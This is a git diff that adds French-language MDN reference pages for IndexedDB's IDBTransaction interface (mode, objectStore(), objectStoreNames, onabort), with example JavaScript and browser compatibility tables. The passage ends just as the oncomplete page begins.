+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatChrome(38)}} (dépréciation des préfixes)<br>
+    {{CompatChrome(57)}} (retrait des préfixes)</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatChrome(38)}} (dépréciation des préfixes)<br>
+    {{CompatChrome(57)}} (retrait des préfixes)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatChrome(38)}} (dépréciation des préfixes)<br>
+    {{CompatChrome(57)}} (retrait des préfixes)</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatChrome(38)}} (dépréciation des préfixes)<br>
+    {{CompatChrome(57)}} (retrait des préfixes)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(35)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>objectStoreNames</code></td>
+   <td>{{CompatChrome(48.0)}}</td>
+   <td>{{CompatChrome(48.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(35)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(48.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Older versions of Chrome serialize all transactions. So even if you have only read-only transactions and no read-write transaction, your transactions are executed one at a time. Any subsequent transactions are not executed until all read-only transactions are completed. For the status, see <a href="https://crbug/64076">bug 64076</a>.</p>
+
+<p>Note that as of Firefox 40, IndexedDB transactions have relaxed durability guarantees to increase performance (see {{Bug("1112702")}}.) Previously in a <code>readwrite</code> transaction {{domxref("IDBTransaction.oncomplete")}} was fired only when all data was guaranteed to have been flushed to disk. In Firefox 40+ the <code>complete</code> event is fired after the OS has been told to write the data but potentially before that data has actually been flushed to disk. The <code>complete</code> event may thus be delivered quicker than before, however, there exists a small chance that the entire transaction will be lost if the OS crashes or there is a loss of system power before the data is flushed to disk. Since such catastrophic events are rare most consumers should not need to concern themselves further.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbtransaction/mode/index.html b/files/fr/web/api/idbtransaction/mode/index.html
new file mode 100644
index 0000000000..2a5ec909f3
--- /dev/null
+++ b/files/fr/web/api/idbtransaction/mode/index.html
@@ -0,0 +1,213 @@
+---
+title: IDBTransaction.mode
+slug: Web/API/IDBTransaction/mode
+tags:
+  - API
+  - IDBTransaction
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBTransaction/mode
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La propriété <strong><code>mode</code></strong> de l'interface {{domxref("IDBTransaction")}} renvoie le mode d'accès aux données des magasins d'objet pendant la transaction (autrement dit, s'agit-il d'une transaction en lecture seule ou d'un accès en écriture ?). La valeur par défaut est <code>readonly</code>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>modeCourant</em> = <em>IDBTransaction</em>.mode;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un objet {{domxref("IDBTransactionMode")}} qui définit le mode d'accès aux données des magasins d'objet :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Valeur</th>
+   <th scope="col">Signification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>readonly</code></td>
+   <td>Lecture seule : on peut lire (consulter) les données mais on ne peut pas les modifier.</td>
+  </tr>
+  <tr>
+   <td><code>readwrite</code></td>
+   <td>Lecture et écriture : on peut lire et écrire (modifier) des données dans les magasins d'objet.</td>
+  </tr>
+  <tr>
+   <td><code>versionchange</code></td>
+   <td>Toutes les opérations peuvent être effectuées, y compris celles qui suppriment ou créent des magasins d'objets et des index. Ce mode doit être utilisé lorsqu'on souhaite mettre à jour le numéro de version pour les transactions qui démarrent avec {{domxref("IDBDatabase.setVersion()")}}. Les transactions effectuées dans ce mode ne peuvent pas être exécutées de façon concurrente avec les autres transactions. Les transactions effectuées dans ce mode sont parfois appelées transactions de mise à jour (<em>upgrade transactions</em>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans le fragment de code suivant, on ouvre une transaction en lecture/écriture sur la base de données et on ajoute des données au magasin d'objets. On notera que les fonctions attachées aux gestionnaires d'évènement de la transaction permettent de rapporter des informations en cas de succès ou d'échec de la transaction. Enfin, on affiche le mode de la transaction dans la console grâce à la propriété <code>mode</code>. Pour un exemple complet, se référer à l'<a href="https://github.com/mdn/to-do-notifications/">exemple d'application To-do</a> (cf. <a href="https://mdn.github.io/to-do-notifications/">la démonstration</a>).</p>
+
+<pre class="brush: js">// On ouvre la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Initialisation de la base de données.&lt;/li&gt;';
+
+  // On enregistre le résultat de l'ouverture dans la variable
+  // db utilisée ensuite.
+  var db = DBOpenRequest.result;
+
+  // On utilise la fonction addData() afin d'ajouter des données
+  // dans la base de données
+  addData();
+};
+
+function addData() {
+  // On crée un nouvel objet prêt à être inséré dans la base
+  // de données
+  var newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+  // On ouvre une transaction en lecture/écriture afin d'ajouter
+  // des données
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // On gère le succès ou l'échec de la transaction
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction terminée : modifications appliquées.&lt;/li&gt;';
+  };
+
+  transaction.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction non-ouverte à cause d'une erreur (duplication d'objet interdite).&lt;/li&gt;';
+  };
+
+  // On crée un magasin d'objets pour la transaction
+  var objectStore = transaction.objectStore("toDoList");
+
+  // On ajoute l'objet newItem dans le magasin d'objets
+  var objectStoreRequest = objectStore.add(newItem[0]);
+
+  objectStoreRequest.onsuccess = function(event) {
+    // On indique le succès de l'opération pour ajouter
+    // l'objet dans la base de données
+    note.innerHTML += '&lt;li&gt;Nouvel objet ajouté à la base de données.&lt;/li&gt;';
+  };
+
+  // On renvoie le mode de la transaction qui était ouverte
+  // (ce devrait être "readwrite")
+  transaction.mode;
+};</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBTransaction-mode', 'mode')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbtransaction/objectstore/index.html b/files/fr/web/api/idbtransaction/objectstore/index.html
new file mode 100644
index 0000000000..6fcde8434f
--- /dev/null
+++ b/files/fr/web/api/idbtransaction/objectstore/index.html
@@ -0,0 +1,196 @@
+---
+title: IDBTransaction.objectStore()
+slug: Web/API/IDBTransaction/objectStore
+tags:
+  - API
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBTransaction/objectStore
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>objectStore()</code></strong>, rattachée à l'interface {{domxref("IDBTransaction")}}, renvoie l'accès à un des magasins d'objets liés à la transation sous la forme d'un objet {{domxref("IDBObjectStore")}}.</p>
+
+<p>Si cette méthode est appelée plusieurs fois sur la même transaction et avec le même nom de magasin, elle renverra la même instance de  {{domxref("IDBObjectStore")}}. Si cette méthode est appelée sur une autre transaction, elle renverra une instance différente.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var objectStore = transaction.objectStore(nom);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nom</code></dt>
+ <dd>Le nom du magasin d'objets auquel on veut accéder.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{domxref("IDBObjectStore")}} qui permet d'accéder au magasin d'objets.</p>
+
+<h2 id="Exceptions">Exceptions</h2>
+
+<dl>
+ <dt><code>NotFoundError</code></dt>
+ <dd>Cette exception {{domxref("DOMException")}} est levée si le magasin d'objets demandé n'a pas été trouvé sur la transaction.</dd>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>Cette exception {{domxref("DOMException")}} est levée si la transaction est terminée ou si la demande a été faite sur un objet source qui a été supprimé ou retiré.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans le code qui suit, on ouvre une connexion à la base de données. Sur cette connexion, on démarre une transaction (cf.  {{domxref("IDBTransaction")}}) en lecture/écriture afin d'accéder au magasin d'objets <code>"toDoList"</code> pour y ajouter un enregistrement (via la méthode {{domxref("IDBObjectStore.add")}}). On notera également l'utilisation des gestionnaires d'événement {{domxref("IDBTransaction.oncomplete")}} et {{domxref("IDBTransaction.onerror")}} de la transaction qui permettent d'afficher la résultat de la transaction sur la page.</p>
+
+<p>La méthode <strong><code>objectStore()</code></strong> permet d'accéder au magasin d'objets <code>"toDoList"</code>.</p>
+
+<pre class="brush: js">// Connexion à la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Connexion établie.&lt;/li&gt;';
+
+  // On affecte la connexion à la variable db.
+  db = DBOpenRequest.result;
+
+  // On exécute la fonction addData() pour
+  // ajouter des données dans la base
+  addData();
+};
+
+function addData() {
+  // Un nouvel objet prêt à être emmagasiné
+  newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+  // On ouvre une transaction en lecture/écriture
+  // pour le traitement des données sur la connexion
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // On utilise oncomplete en cas de succès de
+  // l'ouverture de la transaction
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction terminée : modification de la base de données OK.&lt;/li&gt;';
+  };
+
+  // En cas d'échec de l'ouverture, on utilisera
+  // le gestionnaire onerror
+  transaction.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;L\'erreur: "' + transaction.error +'" s\'est produite, échec de la transaction.&lt;/li&gt;';
+  };
+
+  // On ouvre un magasin d'objets sur la transaction
+  // grâce à la méthode objectStore
+  var objectStore = transaction.objectStore("toDoList");
+
+  // Enfin, on ajoute un enregistrement
+  var objectStoreRequest = objectStore.add(newItem[0]);
+  objectStoreRequest.onsuccess = function(event) {
+    // et on signale l'ajout de l'enregistrement
+    note.innerHTML += '&lt;li&gt;Enregistrement ajouté.&lt;/li&gt;';
+  };
+};
+</pre>
+
+<p class="note"><strong>Note :</strong> Pour un exemple fonctionnel complet, voir notre application <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> (<a href="https://mdn.github.io/to-do-notifications/">l'exemple <em>live</em> est disponible ici</a>).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBTransaction-objectStore-IDBObjectStore-DOMString-name', 'objectStore()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible via les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible via les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbtransaction/objectstorenames/index.html b/files/fr/web/api/idbtransaction/objectstorenames/index.html
new file mode 100644
index 0000000000..65eb8f767d
--- /dev/null
+++ b/files/fr/web/api/idbtransaction/objectstorenames/index.html
@@ -0,0 +1,106 @@
+---
+title: IDBTransaction.objectStoreNames
+slug: Web/API/IDBTransaction/ObjectStoreNames
+tags:
+  - API
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBTransaction/ObjectStoreNames
+---
+<div>{{APIRef("IndexedDB")}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>objectStoreNames</code></strong> de l'interface {{domxref("IDBTransaction")}} renvoie la {{domxref("DOMStringList","liste")}} des noms des magasins d'objets de la {{domxref("IDBTransaction","transaction")}} .</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var maBaseDeDonnees = transactionObj.objectStoreNames;</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une liste {{domxref("DOMStringList")}} contenant les noms des magasins d'objets liés à la transaction ({{domxref("IDBTransaction")}}).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB2', '#dom-idbtransaction-objectstorenames', 'db')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatChrome(48.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(48.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(48.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbtransaction/onabort/index.html b/files/fr/web/api/idbtransaction/onabort/index.html
new file mode 100644
index 0000000000..efdfe1acf9
--- /dev/null
+++ b/files/fr/web/api/idbtransaction/onabort/index.html
@@ -0,0 +1,182 @@
+---
+title: IDBTransaction.onabort
+slug: Web/API/IDBTransaction/onabort
+tags:
+  - API
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBTransaction/onabort
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>Le gestionnaire d'événement <strong><code>onabort</code></strong>, rattaché à l'interface {{domxref("IDBTransaction")}}, s'exécute au déclenchement d'un événement <code><a href="/fr/docs/Web/Events/abort">abort</a></code>, lorsque la transaction a été annulée avec la méthode {{domxref("IDBTransaction.abort")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">transaction.onabort = function() { ... };</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans le code suivant, on ouvre une connexion à la base de données. Sur cette connexion, on démarre une transaction avec {{domxref("IDBTransaction")}} en lecture/écriture pour accéder au magasin d'objets intitulé <code>"toDoList"</code> et y ajouter un enregistrement (grâce à la méthode {{domxref("IDBObjectStore.add")}}). On notera également l'utilisation des gestionnaires d'événement {{domxref("IDBTransaction.oncomplete")}} et {{domxref("IDBTransaction.onerror")}} qui affichent le résultat de la transaction sur la page.</p>
+
+<p>On voit ici le gestionnaire d'événement <strong><code>onabort</code></strong> qui est utilisé pour afficher un message sur la console du développeur.</p>
+
+<pre class="brush: js">// Connexion à la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Connexion établie.&lt;/li&gt;';
+
+  // On affecte la connexion à la variable db.
+  db = DBOpenRequest.result;
+
+  // On exécute la fonction addData () afin de
+  // stocker des données dans la base
+  addData();
+};
+
+function addData() {
+  // Voici un nouvel objet prêt à être emmagasiné
+  newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+  // On ouvre une transaction en lecture/écriture, prête
+  // à traiter des données sur la connexion
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // On utilise oncomplete en cas de succès de
+  // l'ouverture de la transaction
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction terminée : modification de la base de données OK.&lt;/li&gt;';
+  };
+
+  // En cas d'échec de l'ouverture, ce sera
+  // le gestionnaire onerror qui interviendra
+  transaction.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;L\'erreur: "' + transaction.error +'" s\'est produite, échec de la transaction.&lt;/li&gt;';
+  };
+
+  // On ouvre l'accès au un magasin "toDoList"
+  // dans la transaction
+  var objectStore = transaction.objectStore("toDoList");
+
+  // Ici, l'enregistrement est ajouté
+  var objectStoreRequest = objectStore.add(newItem[0]);
+  objectStoreRequest.onsuccess = function(event) {
+    // On signale l'ajout de l'enregistrement
+    note.innerHTML += '&lt;li&gt;Enregistrement ajouté.&lt;/li&gt;';
+  };
+
+  transaction.onabort = function() {
+    // Ce gestionnaire permet de signaler
+    // qu'une transaction a été annulée avec succès
+    console.log("Transaction annulée !");
+  };
+
+  // On abandonne la transaction qu'on vient de faire
+  transaction.abort();
+};</pre>
+
+<p class="note"><strong>Note :</strong> Pour un exemple fonctionnel complet, voir notre application <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> (<a href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em> disponible</a>).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBTransaction-onabort', 'onabort')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible via les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible via les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbtransaction/oncomplete/index.html b/files/fr/web/api/idbtransaction/oncomplete/index.html
new file mode 100644
index 0000000000..ad72f26f93
--- /dev/null
+++ b/files/fr/web/api/idbtransaction/oncomplete/index.html
@@ -0,0 +1,180 @@
+---
+title: IDBTransaction.oncomplete
+slug: Web/API/IDBTransaction/oncomplete
+tags:
+  - API
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBTransaction/oncomplete
+---
+<div>{{ APIRef("IndexedDB") }}</div>
+
